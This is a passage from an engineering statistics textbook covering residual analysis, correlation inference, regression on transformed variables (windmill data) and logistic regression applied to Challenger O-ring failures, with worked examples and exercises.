11-62. Consider the data in Exercise 11-7 on y = green liquor Na_2S concentration and x = paper machine production. Suppose that a 14th sample point is added to the original data, where $y_{14} = 59$ and $x_{14} = 855$.

(a) Prepare a scatter diagram of y versus x. Fit the simple linear regression model to all 14 observations.

(b) Test for significance of regression with $\alpha = 0.05$.

(c) Estimate σ^2 for this model.

(d) Compare the estimate of σ^2 obtained in part (c) above with the estimate of σ^2 obtained from the original 13 points. Which estimate is larger and why?

(e) Compute the residuals for this model. Does the value of e_{14} appear unusual?

(f) Prepare and interpret a normal probability plot of the residuals.

(g) Plot the residuals versus $\hat{y}$ and versus x. Comment on these graphs.

11-63. Consider the rocket propellant data in Exercise 11-11. Calculate the standardized residuals for these data. Does this provide any helpful information about the magnitude of the residuals?

11-64. **Studentized Residuals.** Show that the variance of the ith residual is

$$V(e_i) = \sigma^2\left[1 - \left(\frac{1}{n} + \frac{(x_i - \bar{x})^2}{S_{xx}}\right)\right]$$

Hint:

$$\text{cov}(Y_i, \hat{Y}_i) = \sigma^2\left[\frac{1}{n} + \frac{(x_i - \bar{x})^2}{S_{xx}}\right].$$

The ith studentized residual is defined as

$$r_i = \frac{e_i}{\sqrt{\hat{\sigma}^2\left[1 - \left(\frac{1}{n} + \frac{(x_i - \bar{x})^2}{S_{xx}}\right)\right]}}$$

(a) Explain why r_i has unit standard deviation.
(b) Do the standardized residuals have unit standard deviation?
(c) Discuss the behavior of the studentized residual when the sample value x_i is very close to the middle of the range of x.
(d) Discuss the behavior of the studentized residual when the sample value x_i is very near one end of the range of x.

11-65. Show that an equivalent way to define the test for significance of regression in simple linear regression is to base the test on R^2 as follows: to test H_0: $\beta_1 = 0$ versus H_1: $\beta_1 \neq 0$, calculate

$$F_0 = \frac{R^2(n-2)}{1 - R^2}$$

and to reject H_0: $\beta_1 = 0$ if the computed value $f_0 > f_{\alpha,1,n-2}$. Suppose that a simple linear regression model has been fit to $n = 25$ observations and $R^2 = 0.90$.
(a) Test for significance of regression at $\alpha = 0.05$.
(b) What is the smallest value of R^2 that would lead to the conclusion of a significant regression if $\alpha = 0.05$?

11-8 CORRELATION

Our development of regression analysis has assumed that x is a mathematical variable, measured with negligible error, and that Y is a random variable. Many applications of regression analysis involve situations in which both X and Y are random variables. In these situations, it is usually assumed that the observations (X_i, Y_i), $i = 1, 2, \ldots, n$ are jointly distributed random variables obtained from the distribution $f(x, y)$.

For example, suppose we wish to develop a regression model relating the shear strength of spot welds to the weld diameter. In this example, weld diameter cannot be controlled. We would randomly select n spot welds and observe a diameter (X_i) and a shear strength (Y_i) for each. Therefore (X_i, Y_i) are jointly distributed random variables.

We assume that the joint distribution of X_i and Y_i is the bivariate normal distribution presented in Chapter 5, and μ_Y and σ_Y^2 are the mean and variance of Y, μ_X and σ_X^2 are the mean and variance of X, and ρ is the **correlation coefficient** between Y and X. Recall that the correlation coefficient is defined as

$$\rho = \frac{\sigma_{XY}}{\sigma_X \sigma_Y} \tag{11-35}$$

where σ_{XY} is the covariance between Y and X.

The conditional distribution of Y for a given value of $X = x$ is

$$f_{Y|x}(y) = \frac{1}{\sqrt{2\pi}\sigma_{Y|x}} \exp\left[-\frac{1}{2}\left(\frac{y - \beta_0 - \beta_1 x}{\sigma_{Y|x}}\right)^2\right] \tag{11-36}$$

where

$$\beta_0 = \mu_Y - \mu_X \rho \frac{\sigma_Y}{\sigma_X} \tag{11-37}$$

$$\beta_1 = \frac{\sigma_Y}{\sigma_X}\rho \tag{11-38}$$

and the variance of the conditional distribution of Y given $X = x$ is

$$\sigma_{Y|x}^2 = \sigma_Y^2(1 - \rho^2) \tag{11-39}$$

That is, the conditional distribution of Y given $X = x$ is normal with mean

$$E(Y|x) = \beta_0 + \beta_1 x \tag{11-40}$$

and variance $\sigma^2_{Y|x}$. Thus, the mean of the conditional distribution of Y given $X = x$ is a simple linear regression model. Furthermore, there is a relationship between the correlation coefficient ρ and the slope β_1. From Equation 11-38 we see that if $\rho = 0$, then $\beta_1 = 0$, which implies that there is no regression of Y on X. That is, knowledge of X does not assist us in predicting Y.

The method of maximum likelihood may be used to estimate the parameters β_0 and β_1. It can be shown that the maximum likelihood estimators of those parameters are

$$\hat{\beta}_0 = \overline{Y} - \hat{\beta}_1 \overline{X} \tag{11-41}$$

and

$$\hat{\beta}_1 = \frac{\sum_{i=1}^{n} Y_i(X_i - \overline{X})}{\sum_{i=1}^{n} (X_i - \overline{X})^2} = \frac{S_{XY}}{S_{XX}} \tag{11-42}$$

We note that the estimators of the intercept and slope in Equations 11-41 and 11-42 are identical to those given by the method of least squares in the case where X was assumed to be a mathematical variable. That is, the regression model with Y and X jointly normally distributed is equivalent to the model with X considered as a mathematical variable. This follows because the random variables Y given $X = x$ are independently and normally distributed with mean $\beta_0 + \beta_1 x$ and constant variance $\sigma^2_{Y|x}$. These results will also hold for any joint distribution of Y and X such that the conditional distribution of Y given X is normal.

It is possible to draw inferences about the correlation coefficient ρ in this model. The estimator of ρ is the **sample correlation coefficient**

$$R = \frac{\sum_{i=1}^{n} Y_i(X_i - \overline{X})}{\left[\sum_{i=1}^{n} (X_i - \overline{X})^2 \sum_{i=1}^{n} (Y_i - \overline{Y})^2\right]^{1/2}} = \frac{S_{XY}}{(S_{XX}SS_T)^{1/2}} \tag{11-43}$$

Note that

$$\hat{\beta}_1 = \left(\frac{SS_T}{S_{XX}}\right)^{1/2} R \tag{11-44}$$

so the slope $\hat{\beta}_1$ is just the sample correlation coefficient R multiplied by a scale factor that is the square root of the "spread" of the Y values divided by the "spread" of the X values.Thus, $\hat{\beta}_1$ and R are closely related, although they provide somewhat different information. The sample correlation coefficient R measures the linear association between Y and X, while $\hat{\beta}_1$ measures the predicted change in the mean of Y for a unit change in X. In the case of a mathematical variable x, R has no meaning because the magnitude of R depends on the choice of spacing of x. We may also write, from Equation 11-44,

$$R^2 = \hat{\beta}_1^2 \frac{S_{XX}}{SS_T} = \frac{\hat{\beta}_1 S_{XY}}{SS_T} = \frac{SS_R}{SS_T}$$

which is just the coefficient of determination. That is, the coefficient of determination R^2 is just the square of the correlation coefficient between Y and X.

It is often useful to test the hypotheses

$$H_0: \rho = 0$$
$$H_1: \rho \neq 0 \tag{11-45}$$

The appropriate test statistic for these hypotheses is

Test Statistic for Zero Correlation

$$T_0 = \frac{R\sqrt{n-2}}{\sqrt{1-R^2}} \tag{11-46}$$

which has the t distribution with $n - 2$ degrees of freedom if H_0: $\rho = 0$ is true. Therefore, we would reject the null hypothesis if $|t_0| > t_{\alpha/2,n-2}$. This test is equivalent to the test of the hypothesis H_0: $\beta_1 = 0$ given in Section 11-5.1. This equivalence follows directly from Equation 11-46.

The test procedure for the hypotheses

$$H_0: \rho = \rho_0$$
$$H_1: \rho \neq \rho_0 \tag{11-47}$$

where $\rho_0 \neq 0$ is somewhat more complicated. For moderately large samples (say, $n \geq 25$), the statistic

$$Z = \operatorname{arctanh} R = \frac{1}{2} \ln \frac{1+R}{1-R} \tag{11-48}$$

is approximately normally distributed with mean and variance

$$\mu_Z = \operatorname{arctanh} \rho = \frac{1}{2} \ln \frac{1+\rho}{1-\rho} \qquad \text{and} \qquad \sigma_Z^2 = \frac{1}{n-3}$$

respectively. Therefore, to test the hypothesis H_0: $\rho = \rho_0$, we may use the test statistic

$$Z_0 = (\operatorname{arctanh} R - \operatorname{arctanh} \rho_0)(n-3)^{1/2} \tag{11-49}$$

and reject H_0: $\rho = \rho_0$ if the value of the test statistic in Equation 11-49 is such that $|z_0| > z_{\alpha/2}$.

It is also possible to construct an approximate $100(1 - \alpha)\%$ confidence interval for ρ, using the transformation in Equation 11-48. The approximate $100(1 - \alpha)\%$ confidence interval is

Confidence Interval for a Correlation Coefficient

$$\tanh\left(\operatorname{arctanh} r - \frac{z_{\alpha/2}}{\sqrt{n-3}}\right) \leq \rho \leq \tanh\left(\operatorname{arctanh} r + \frac{z_{\alpha/2}}{\sqrt{n-3}}\right) \tag{11-50}$$

where $\tanh u = (e^u - e^{-u})/(e^u + e^{-u})$.

Figure 11-13 Scatter plot of wire bond strength versus wire length, Example 11-8.

EXAMPLE 11-8 Wire Bond Pull Strength

In Chapter 1 (Section 1-3) an application of regression analysis is described in which an engineer at a semiconductor assembly plant is investigating the relationship between pull strength of a wire bond and two factors: wire length and die height. In this example, we will consider only one of the factors, the wire length. A random sample of 25 units is selected and tested, and the wire bond pull strength and wire length are observed for each unit. The data are shown in Table 1-2. We assume that pull strength and wire length are jointly normally distributed.

Figure 11-13 shows a scatter diagram of wire bond strength versus wire length. We have used the Minitab option of displaying box plots of each individual variable on the scatter diagram. There is evidence of a linear relationship between the two variables.

The Minitab output for fitting a simple linear regression model to the data is shown below.

Now $S_{xx} = 698.56$ and $S_{xy} = 2027.7132$, and the sample correlation coefficient is

$$r = \frac{S_{xy}}{[S_{xx}SS_T]^{1/2}} = \frac{2027.7132}{[(698.560)(6105.9)]^{1/2}} = 0.9818$$

Note that $r^2 = (0.9818)^2 = 0.9640$ (which is reported in the Minitab output), or that approximately 96.40% of the variability in pull strength is explained by the linear relationship to wire length.

Now suppose that we wish to test the hypotheses

$$H_0: \rho = 0$$
$$H_1: \rho \neq 0$$

Regression Analysis: Strength versus Length

The regression equation is
Strength = 5.11 + 2.90 Length

Predictor	Coef	SE Coef	T	P
Constant	5.115	1.146	4.46	0.000
Length	2.9027	0.1170	24.80	0.000

S = 3.093 R-Sq = 96.4% R-Sq(adj) = 96.2%
PRESS = 272.144 R-Sq(pred) = 95.54%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	1	5885.9	5885.9	615.08	0.000
Residual Error	23	220.1	9.6		
Total	24	6105.9			

with $\alpha = 0.05$. We can compute the t-statistic of Equation 11-46 as

$$t_0 = \frac{r\sqrt{n-2}}{\sqrt{1-r^2}} = \frac{0.9818\sqrt{23}}{\sqrt{1-0.9640}} = 24.8$$

This statistic is also reported in the Minitab output as a test of H_0: $\beta_1 = 0$. Because $t_{0.025,23} = 2.069$, we reject H_0 and conclude that the correlation coefficient $\rho \neq 0$.

Finally, we may construct an approximate 95% confidence interval on ρ from Equation 11-50. Since $\operatorname{arctanh} r = \operatorname{arctanh} 0.9818 = 2.3452$, Equation 11-50 becomes

$$\tanh\left(2.3452 - \frac{1.96}{\sqrt{22}}\right) \leq \rho \leq \tanh\left(2.3452 + \frac{1.96}{\sqrt{22}}\right)$$

which reduces to

$$0.9585 \leq \rho \leq 0.9921$$

EXERCISES FOR SECTION 11–8

11-66. Suppose data is obtained from 20 pairs of (x, y) and the sample correlation coefficient is 0.8.

(a) Test the hypothesis that H_0: $\rho = 0$ against H_1: $\rho \neq 0$ with $\alpha = 0.05$. Calculate the P-value.

(b) Test the hypothesis that H_1: $\rho = 0.5$ against H_1: $\rho \neq 0.5$ with $\alpha = 0.05$. Calculate the P-value.

(c) Construct a 95% two-sided confidence interval for the correlation coefficient. Explain how the questions in parts (a) and (b) could be answered with a confidence interval.

11-67. Suppose data are obtained from 20 pairs of (x, y) and the sample correlation coefficient is 0.75.

(a) Test the hypothesis that H_0: $\rho = 0$ against H_1: $\rho > 0$ with $\alpha = 0.05$. Calculate the P-value.

(b) Test the hypothesis that H_1: $\rho = 0.5$ against H_1: $\rho > 0.5$ with $\alpha = 0.05$. Calculate the P-value.

(c) Construct a 95% one-sided confidence interval for the correlation coefficient. Explain how the questions in parts (a) and (b) could be answered with a confidence interval.

11-68. A random sample of $n = 25$ observations was made on the time to failure of an electronic component and the temperature in the application environment in which the component was used.

(a) Given that $r = 0.83$, test the hypothesis that $\rho = 0$, using $\alpha = 0.05$. What is the P-value for this test?

(b) Find a 95% confidence interval on ρ.

(c) Test the hypothesis H_0: $\rho = 0.8$ versus H_1: $\rho \neq 0.8$, using $\alpha = 0.05$. Find the P-value for this test.

11-69. A random sample of 50 observations was made on the diameter of spot welds and the corresponding weld shear strength.

(a) Given that $r = 0.62$, test the hypothesis that $\rho = 0$, using $\alpha = 0.01$. What is the P-value for this test?

(b) Find a 99% confidence interval for ρ.

(c) Based on the confidence interval in part (b), can you conclude that $\rho = 0.5$ at the 0.01 level of significance?

11-70. The following data gave X = the water content of snow on April 1 and Y = the yield from April to July (in inches) on the Snake River watershed in Wyoming for 1919 to 1935. (The data were taken from an article in *Research Notes*, Vol. 61, 1950, Pacific Northwest Forest Range Experiment Station, Oregon.)

x	y	x	y
23.1	10.5	37.9	22.8
32.8	16.7	30.5	14.1
31.8	18.2	25.1	12.9
32.0	17.0	12.4	8.8
30.4	16.3	35.1	17.4
24.0	10.5	31.5	14.9
39.5	23.1	21.1	10.5
24.2	12.4	27.6	16.1
52.5	24.9		

(a) Estimate the correlation between Y and X.

(b) Test the hypothesis that $\rho = 0$, using $\alpha = 0.05$.

(c) Fit a simple linear regression model and test for significance of regression using $\alpha = 0.05$. What conclusions can you draw? How is the test for significance of regression related to the test on ρ in part (b)?

(d) Analyze the residuals and comment on model adequacy.

11-71. The final test and exam averages for 20 randomly selected students taking a course in engineering statistics and a course in operations research follow. Assume that the final averages are jointly normally distributed.

(a) Find the regression line relating the statistics final average to the OR final average. Graph the data.

(b) Test for significance of regression using $\alpha = 0.05$.

(c) Estimate the correlation coefficient.

(d) Test the hypothesis that $\rho = 0$, using $\alpha = 0.05$.

(e) Test the hypothesis that $\rho = 0.5$, using $\alpha = 0.05$.

(f) Construct a 95% confidence interval for the correlation coefficient.

Statistics	OR	Statistics	OR	Statistics	OR
86	80	86	81	83	81
75	81	71	76	75	70
69	75	65	72	71	73
75	81	84	85	76	72
90	92	71	72	84	80
94	95	62	65	97	98
83	80	90	93		

11-72. The weight and systolic blood pressure of 26 randomly selected males in the age group 25 to 30 are shown in the following table. Assume that weight and blood pressure are jointly normally distributed.

Subject	Weight	Systolic BP	Subject	Weight	Systolic BP
1	165	130	14	172	153
2	167	133	15	159	128
3	180	150	16	168	132
4	155	128	17	174	149
5	212	151	18	183	158
6	175	146	19	215	150
7	190	150	20	195	163
8	210	140	21	180	156
9	200	148	22	143	124
10	149	125	23	240	170
11	158	133	24	235	165
12	169	135	25	192	160
13	170	150	26	187	159

(a) Find a regression line relating systolic blood pressure to weight.
(b) Test for significance of regression using $\alpha = 0.05$.
(c) Estimate the correlation coefficient.
(d) Test the hypothesis that $\rho = 0$, using $\alpha = 0.05$.
(e) Test the hypothesis that $\rho = 0.6$, using $\alpha = 0.05$.
(f) Construct a 95% confidence interval for the correlation coefficient.

11-73. In an article in *IEEE Transactions on Instrumentation and Measurement* (2001, Vol. 50, pp. 986–990), researchers studied the effects of reducing current draw in a magnetic core by electronic means. They measured the current in a magnetic winding with and without the electronics in a paired experiment. Data for the case without electronics are provided in the following table.

Supply Voltage	Current Without Electronics (mA)
0.66	7.32
1.32	12.22
1.98	16.34
2.64	23.66
3.3	28.06
3.96	33.39
4.62	34.12
3.28	39.21
5.94	44.21
6.6	47.48

(a) Graph the data and fit a regression line to predict current without electronics to supply voltage. Is there a significant regression at $\alpha = 0.05$? What is the *P*-value?
(b) Estimate the correlation coefficient.
(c) Test the hypothesis that $\rho = 0$ against the alternative $\rho \neq 0$ with $\alpha = 0.05$. What is the *P*-value?
(d) Compute a 95% confidence interval for the correlation coefficient.

11-74. The monthly absolute estimate of global (land and ocean combined) temperature indexes (degrees C) in 2000 and 2001 are (source: http://www.ncdc.noaa.gov/oa/climate/):

2000: 12.28, 12.63, 13.22, 14.21, 15.13, 15.82, 16.05, 16.02, 15.29, 14.29, 13.16, 12.47

2001: 12.44, 12.55, 13.35, 14.22, 15.28, 15.99, 16.23, 16.17, 15.44, 14.52, 13.52, 12.61

(a) Graph the data and fit a regression line to predict 2001 temperatures from those in 2000. Is there a significant regression at $\alpha = 0.05$? What is the *P*-value?
(b) Estimate the correlation coefficient.
(c) Test the hypothesis that $\rho = 0.9$ against the alternative $\rho \neq 0.9$ with $\alpha = 0.05$. What is the *P*-value?
(d) Compute a 95% confidence interval for the correlation coefficient.

11-75 Refer to the NFL quarterback ratings data in Exercise 11-3.
(a) Estimate the correlation coefficient between the ratings and the average yards per attempt.
(b) Test the hypothesis H_0: $\rho = 0$ versus H_1: $\rho \neq 0$ using $\alpha = 0.05$. What is the *P*-value for this test?
(c) Construct a 95% confidence interval for ρ.
(d) Test the hypothesis H_0: $\rho = 0.7$ versus H_1: $\rho \neq 0.7$ using $\alpha = 0.05$. Find the *P*-value for this test.

11-76. Consider the following (x, y) data. Calculate the correlation coefficient. Graph the data and comment on the relationship between x and y. Explain why the correlation coefficient does not detect the relationship between x and y.

x	y	x	y
−4	0	0	−4
−3	−2.65	1	3.87
−3	2.65	1	−3.87
−2	−3.46	2	3.46
−2	3.46	2	−3.46
−1	−3.87	3	2.65
−1	3.87	3	−2.65
0	4	4	0

11-9 REGRESSION ON TRANSFORMED VARIABLES

We occasionally find that the straight-line regression model $Y = \beta_0 + \beta_1 x + \epsilon$ is inappropriate because the true regression function is nonlinear. Sometimes nonlinearity is visually determined from the scatter diagram, and sometimes, because of prior experience or underlying theory, we know in advance that the model is nonlinear. Occasionally, a scatter diagram will exhibit an apparent nonlinear relationship between Y and x. In some of these situations, a nonlinear function can be expressed as a straight line by using a suitable transformation. Such nonlinear models are called **intrinsically linear.**

As an example of a nonlinear model that is intrinsically linear, consider the exponential function

$$Y = \beta_0 e^{\beta_1 x} \epsilon$$

This function is intrinsically linear, since it can be transformed to a straight line by a logarithmic transformation

$$\ln Y = \ln \beta_0 + \beta_1 x + \ln \epsilon$$

This transformation requires that the transformed error terms $\ln \epsilon$ are normally and independently distributed with mean 0 and variance σ^2.

Another intrinsically linear function is

$$Y = \beta_0 + \beta_1 \left(\frac{1}{x}\right) + \epsilon$$

By using the reciprocal transformation $z = 1/x$, the model is linearized to

$$Y = \beta_0 + \beta_1 z + \epsilon$$

Sometimes several transformations can be employed jointly to linearize a function. For example, consider the function

$$Y = \frac{1}{\exp(\beta_0 + \beta_1 x + \epsilon)}$$

Letting $Y^* = 1/Y$, we have the linearized form

$$\ln Y^* = \beta_0 + \beta_1 x + \epsilon$$

For examples of fitting these models, refer to Montgomery, Peck, and Vining (2006) or Myers (1990).

Transformations can be very useful in many situations where the true relationship between the response Y and the regressor x is not well approximated by a straight line. The utility of a transformation is illustrated in the following example.

EXAMPLE 11-9 Windmill Power

A research engineer is investigating the use of a windmill to generate electricity and has collected data on the DC output from this windmill and the corresponding wind velocity. The data are plotted in Figure 11-14 and listed in Table 11-5 (p.439).

Inspection of the scatter diagram indicates that the relationship between DC output Y and wind velocity (x) may be nonlinear. However, we initially fit a straight-line model to the data. The regression model is

$$\hat{y} = 0.1309 + 0.2411x$$

The summary statistics for this model are $R^2 = 0.8745$, $MS_E = \hat{\sigma}^2 = 0.0557$, and $F_0 = 160.26$ (the P-value is <0.0001).

Figure 11-14 Plot of DC output y versus wind velocity x for the windmill data.

Figure 11-15 Plot of residuals e_i versus fitted values $\hat{y}_i$ for the windmill data.

A plot of the residuals versus $\hat{y}_i$ is shown in Figure 11-15. This residual plot indicates model inadequacy and implies that the linear relationship has not captured all of the information in the wind speed variable. Note that the curvature that was apparent in the scatter diagram of Figure 11-14 is greatly amplified in the residual plots. Clearly some other model form must be considered.

We might initially consider using a quadratic model such as

$$y = \beta_0 + \beta_1 x + \beta_2 x^2 + \epsilon$$

to account for the apparent curvature. However, the scatter diagram of Figure 11-14 suggests that as wind speed increases, DC output approaches an upper limit of approximately 2.5. This is also consistent with the theory of windmill operation. Since the quadratic model will eventually bend downward as wind speed increases, it would not be appropriate for these data. A more reasonable model for the windmill data that incorporates an upper asymptote would be

$$y = \beta_0 + \beta_1\left(\frac{1}{x}\right) + \epsilon$$

Figure 11-16 Plot of DC output versus $x' = 1/x$ for the windmill data.

Figure 11-16 is a scatter diagram with the transformed variable $x' = 1/x$. This plot appears linear, indicating that the reciprocal transformation is appropriate. The fitted regression model is

$$\hat{y} = 2.9789 - 6.9345x'$$

The summary statistics for this model are $R^2 = 0.9800$, $MS_E = \hat{\sigma}^2 = 0.0089$, and $F_0 = 1128.43$ (the P value is <0.0001).

A plot of the residuals from the transformed model versus $\hat{y}$ is shown in Figure 11-17. This plot does not reveal any serious problem with inequality of variance. The normal probability plot, shown in Figure 11-18, gives a mild indication that the errors come from a distribution with heavier tails than the normal (notice the slight upward and downward curve at the extremes). This normal probability plot has the z-score value plotted on the horizontal axis. Since there is no strong signal of model inadequacy, we conclude that the transformed model is satisfactory.

Figure 11-17 Plot of residuals versus fitted values $\hat{y}_i$ for the transformed model for the windmill data.

Figure 11-18 Normal probability plot of the residuals for the transformed model for the windmill data.

Table 11-5 Observed Values y_i and Regressor Variable x_i for Example 11-9

Observation Number, i	Wind Velocity (mph), x_i	DC Output, y_i
1	5.00	1.582
2	6.00	1.822
3	3.40	1.057
4	2.70	0.500
5	10.00	2.236
6	9.70	2.386
7	9.55	2.294
8	3.05	0.558
9	8.15	2.166
10	6.20	1.866
11	2.90	0.653
12	6.35	1.930
13	4.60	1.562
14	5.80	1.737
15	7.40	2.088
16	3.60	1.137
17	7.85	2.179
18	8.80	2.112
19	7.00	1.800
20	5.45	1.501
21	9.10	2.303
22	10.20	2.310
23	4.10	1.194
24	3.95	1.144
25	2.45	0.123

continued

EXERCISES FOR SECTION 11–9

11-77. Determine if the following models are intrinsically linear. If yes, determine the appropriate transformation to generate the linear model.

(a) $Y = \beta_0 x^{\beta_1}\epsilon$ (b) $Y = \dfrac{3 + 5x}{x} + \epsilon$

(c) $Y = \beta_0 \beta_1^x \epsilon$ (d) $Y = \dfrac{x}{\beta_0 x + \beta_1 + x\epsilon}$

11-78. The vapor pressure of water at various temperatures follows:

Observation Number, i	Temperature (K)	Vapor pressure (mm Hg)
1	273	4.6
2	283	9.2
3	293	17.5
4	303	31.8
5	313	55.3
6	323	92.5
7	333	149.4
8	343	233.7
9	353	355.1
10	363	525.8
11	373	760.0

(a) Draw a scatter diagram of these data. What type of relationship seems appropriate in relating y to x?

(b) Fit a simple linear regression model to these data.

(c) Test for significance of regression using $\alpha = 0.05$. What conclusions can you draw?

(d) Plot the residuals from the simple linear regression model versus $\hat{y}_i$. What do you conclude about model adequacy?

(e) The Clausis–Clapeyron relationship states that $\ln(P_v) \propto -\frac{1}{T}$, where P_v is the vapor pressure of water. Repeat parts (a)–(d). using an appropriate transformation.

11-79. An electric utility is interested in developing a model relating peak hour demand (y in kilowatts) to total monthly energy usage during the month (x, in kilowatt hours). Data for 50 residential customers are shown in the following table.

Customer	x	y	Customer	x	y
1	679	0.79	26	1434	0.31
2	292	0.44	27	837	4.20
3	1012	0.56	28	1748	4.88
4	493	0.79	29	1381	3.48
5	582	2.70	30	1428	7.58
6	1156	3.64	31	1255	2.63
7	997	4.73	32	1777	4.99
8	2189	9.50	33	370	0.59
9	1097	5.34	34	2316	8.19
10	2078	6.85	35	1130	4.79

continued

Customer	x	y	Customer	x	y
11	1818	5.84	36	463	0.51
12	1700	5.21	37	770	1.74
13	747	3.25	38	724	4.10
14	2030	4.43	39	808	3.94
15	1643	3.16	40	790	0.96
16	414	0.50	41	783	3.29
17	354	0.17	42	406	0.44
18	1276	1.88	43	1242	3.24
19	745	0.77	44	658	2.14
20	795	3.70	45	1746	5.71
21	540	0.56	46	895	4.12
22	874	1.56	47	1114	1.90
23	1543	5.28	48	413	0.51
24	1029	0.64	49	1787	8.33
25	710	4.00	50	3560	14.94

(a) Draw a scatter diagram of y versus x.
(b) Fit the simple linear regression model.
(c) Test for significance of regression using $\alpha = 0.05$.
(d) Plot the residuals versus $\hat{y}_i$ and comment on the underlying regression assumptions. Specifically, does it seem that the equality of variance assumption is satisfied?
(e) Find a simple linear regression model using $\sqrt{y}$ as the response. Does this transformation on y stabilize the inequality of variance problem noted in part (d) above?

11-10 LOGISTIC REGRESSION

Linear regression often works very well when the response variable is **quantitative.** We now consider the situation where the response variable takes on only two possible values, 0 and 1. These could be arbitrary assignments resulting from observing a **qualitative** response. For example, the response could be the outcome of a functional electrical test on a semiconductor device for which the results are either a "success," which means the device works properly, or a "failure," which could be due to a short, an open, or some other functional problem.

Suppose that the model has the form

$$Y_i = \beta_0 + \beta_1 x_i + \epsilon_i \tag{11-51}$$

and the response variable Y_i takes on the values either 0 or 1. We will assume that the response variable Y_i is a **Bernoulli random variable** with probability distribution as follows:

Y_i	Probability
1	$P(Y_i = 1) = \pi_i$
0	$P(Y_i = 0) = 1 - \pi_i$

Now since $E(\epsilon_i) = 0$, the expected value of the response variable is

$$\begin{aligned} E(Y_i) &= 1(\pi_i) + 0(1 - \pi_i) \\ &= \pi_i \end{aligned}$$

This implies that

$$E(Y_i) = \beta_0 + \beta_1 x_i = \pi_i$$

This means that the expected response given by the response function $E(Y_i) = \beta_0 + \beta_1 x_i$ is just the probability that the response variable takes on the value 1.

There are some substantive problems with the regression model in Equation 11-51. First, note that if the response is binary, the error terms ϵ_i can only take on two values, namely,

$$\epsilon_i = 1 - (\beta_0 + \beta_1 x_i) \qquad \text{when } Y_i = 1$$
$$\epsilon_i = -(\beta_0 + \beta_1 x_i) \qquad \text{when } Y_i = 0$$

Consequently, the errors in this model cannot possibly be normal. Second, the error variance is not constant, since

$$\begin{aligned}\sigma^2_{Y_i} &= E\{Y_i - E(Y_i)\}^2 \\ &= (1 - \pi_i)^2\pi_i + (0 - \pi_i)^2(1 - \pi_i) \\ &= \pi_i(1 - \pi_i)\end{aligned}$$

Notice that this last expression is just

$$\sigma^2_{y_i} = E(Y_i)[1 - E(Y_i)]$$

since $E(Y_i) = \beta_0 + \beta_1 x_i = \pi_i$. This indicates that the variance of the observations (which is the same as the variance of the errors because $\epsilon_i = Y_i - \pi_i$, and π_i is a constant) is a function of the mean. Finally, there is a constraint on the response function, because

$$0 \le E(Y_i) = \pi_i \le 1$$

This restriction can cause serious problems with the choice of a **linear response function,** as we have initially assumed in Equation 11-51. It would be possible to fit a model to the data for which the predicted values of the response lie outside the 0, 1 interval.

Generally, when the response variable is binary, there is considerable empirical evidence indicating that the shape of the response function should be nonlinear. A monotonically increasing (or decreasing) *S*-shaped (or reverse *S*-shaped) function, such as shown in Figure 11-19, is usually employed. This function is called the **logit response function,** and has the form

$$E(Y) = \frac{\exp(\beta_0 + \beta_1 x)}{1 + \exp(\beta_0 + \beta_1 x)} \tag{11-52}$$

Figure 11-19 Examples of the logistic response function. (a) $E(Y) = 1/(1 + e^{-6.0-1.0x})$, (b) $E(Y) = 1/(1 + e^{-6.0+1.0x})$.

or equivalently,

$$E(Y) = \frac{1}{1 + \exp[-(\beta_0 + \beta_1 x)]} \tag{11-53}$$

In **logistic regression** we assume that $E(Y)$ is related to x by the logit function. It is easy to show that

$$\frac{E(Y)}{1 - E(Y)} = \exp(\beta_0 + \beta_1 x) \tag{11-54}$$

The quantity $\exp(\beta_0 + \beta_1 x)$ on the right-hand side of Equation 11-54 is called the **odds ratio.** It has a straightforward interpretation: If the odds ratio is 2 for a particular value of x, it means that a success is twice as likely as a failure at that value of the regressor x. Notice that the natural logarithm of the odds ratio is a linear function of the regressor variable. Therefore the slope β_1 is the change in the log odds that results from a one-unit increase in x. This means that the odds ratio changes by e^{β_1} when x increases by one unit.

The parameters in this logistic regression model are usually estimated by the method of maximum likelihood. For details of the procedure, see Montgomery, Peck, and Vining (2006). Minitab will fit logistic regression models and provide useful information on the quality of the fit.

We will illustrate logistic regression using the data on launch temperature and O-ring failure for the 24 space shuttle launches prior to the *Challenger* disaster of January 1986. There are six O-rings used to seal field joints on the rocket motor assembly. The table below presents the launch temperatures. A 1 in the "O-Ring Failure" column indicates that at least one O-ring failure had occurred on that launch.

Temperature	O-Ring Failure	Temperature	O-Ring Failure	Temperature	O-Ring Failure
53	1	68	0	75	0
56	1	69	0	75	1
57	1	70	0	76	0
63	0	70	1	76	0
66	0	70	1	78	0
67	0	70	1	79	0
67	0	72	0	80	0
67	0	73	0	81	0

Figure 11-20 is a scatter plot of the data. Note that failures tend to occur at lower temperatures. The logistic regression model fit to this data from Minitab is shown in the following boxed display.

The fitted logistic regression model is

$$\hat{y} = \frac{1}{1 + \exp[-(10.875 - 0.17132x)]}$$

Binary Logistic Regression: O-Ring Failure versus Temperature

Link Function: Logit

Response Information

Variable	Value	Count	
O-Ring F	1	7	(Event)
	0	17	
	Total	24	

Logistic Regression Table

Predictor	Coef	SE Coef	Z	P	Odds Ratio	95% CI Lower	95% CI Upper
Constant	10.875	5.703	1.91	0.057			
Temperat	−0.17132	0.08344	−2.05	0.040	0.84	0.72	0.99

Log-Likelihood = −11.515

Test that all slopes are zero: G = 5.944, DF = 1, P-Value = 0.015

The standard error of the slope $\hat{\beta}_1$ is $se(\hat{\beta}_1) = 0.08344$. For large samples, $\hat{\beta}_1$ has an approximate normal distribution, and so $\hat{\beta}_1/se(\hat{\beta}_1)$ can be compared to the standard normal distribution to test H_0: $\beta_1 = 0$. Minitab performs this test. The P-value is 0.04, indicating that temperature has a significant effect on the probability of O-ring failure. The odds ratio is 0.84, so every one degree increase in temperature reduces the odds of failure by 0.84. Figure 11-21 shows the fitted logistic regression model. The sharp increase in the probability of O-ring failure is very evident in this graph. The actual temperature at the *Challenger* launch was 31°F. This is well outside the range of other launch temperatures, so our logistic regression model is not likely to provide highly accurate predictions at that temperature, but it is clear that a launch at 31°F is almost certainly going to result in O-ring failure.

It is interesting to note that all of these data were available **prior** to launch. However, engineers were unable to effectively analyze the data and use them to provide a convincing argument against launching *Challenger* to NASA managers. Yet a simple regression analysis

Figure 11-20 Scatter plot of O-ring failures versus launch temperature for 24 space shuttle flights.

Figure 11-21 Probability of O-ring failure versus launch temperature (based on a logistic regression model).

of the data would have provided a strong quantitative basis for this argument. This is one of the more dramatic instances that points out **why engineers and scientists need a strong background in basic statistical techniques.**

EXERCISES FOR SECTION 11–10

